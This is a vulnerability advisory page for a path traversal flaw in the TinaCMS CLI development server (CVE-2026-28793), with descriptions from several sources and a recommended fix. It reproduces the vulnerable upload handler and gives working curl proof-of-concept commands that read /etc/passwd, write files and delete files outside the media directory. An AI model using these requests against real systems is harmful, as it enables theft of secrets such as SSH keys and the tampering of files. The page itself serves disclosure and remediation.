8.4high
Path Traversal Leading to Arbitrary File Read, Write and Delete in TinaCMS
- Severity
- 8.4high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.24% (higher than 15% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-2f24-mg4x-534q
Description
Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| @tinacms cli | < 2.1.8 | CVE List |
| @tinacms/cli (npm) | before 2.1.8 | GitHub Advisory Database |
| ssw tinacms/cli | before 2.1.8 | NVD |
All scores
| GitHub_M | 8.4high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.4high CVSS:3.1 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Tina is a headless content management system. Prior to 2.1.8, the TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory. When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as /media/list/*, /media/upload/*, and /media/*. These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory. This vulnerability is fixed in 2.1.8.
GitHub Advisory Database
Summary
The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.
Details
When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:
-
/media/list/*
-
/media/upload/*
-
/media/*
These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.
Vulnerable code
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
PoC
Arbitrary File Read
curl "http://localhost:4001/media/list/../../../etc/passwd"
Result:
image(1)Arbitrary File Write
echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt
curl --path-as-is -X POST \
"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
-F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt
Result: image(8)
Arbitrary File Delete
echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"
image
Impact
An attacker who can reach the TinaCMS CLI dev server can:
-
Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)
-
Write arbitrary files anywhere writable by the server process
-
Delete or overwrite files, depending on endpoint usage
-
Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files
Attack Surface
The dev server binds to localhost by default, but exploitation is realistic in:
-
Cloud IDEs (Codespaces, Gitpod)
-
Docker or VM setups with port forwarding
-
Misconfigured dev environments binding to 0.0.0.0
-
Local malware or malicious dependencies
The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.
Recommended Fix
-
Resolve paths to absolute form
-
Enforce that resolved paths remain within the media root
-
Reject .. path segments and absolute paths
-
Consider authentication or token protection for dev server endpoints
NVD (es)
Tina es un sistema de gestión de contenido sin cabeza. Antes de 2.1.8, el servidor de desarrollo CLI de TinaCMS expone puntos finales de medios que son vulnerables a salto de ruta, permitiendo a los atacantes leer y escribir archivos arbitrarios en el sistema de archivos fuera del directorio de medios previsto. Al ejecutar tinacms dev, la CLI inicia un servidor HTTP local (puerto predeterminado 4001) exponiendo puntos finales como /media/list/*, /media/upload/* y /media/*. Estos puntos finales procesan segmentos de ruta controlados por el usuario usando decodeURI() y path.join() sin validar que la ruta resuelta permanezca dentro del directorio de medios configurado. Esta vulnerabilidad está corregida en 2.1.8.
References
| https://github.com/tinacms/tinacms/security/advisories/GHSA-2f24-mg4x-534q | exploit, vendor-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-28793 | advisory | |
| https://github.com/tinacms/tinacms | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-28793 changed 2026-03-13 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-2f24-mg4x-534q changed 2026-03-14 | CC-BY-4.0 |
| NVD | CVE-2026-28793 changed 2026-06-17 | Public domain |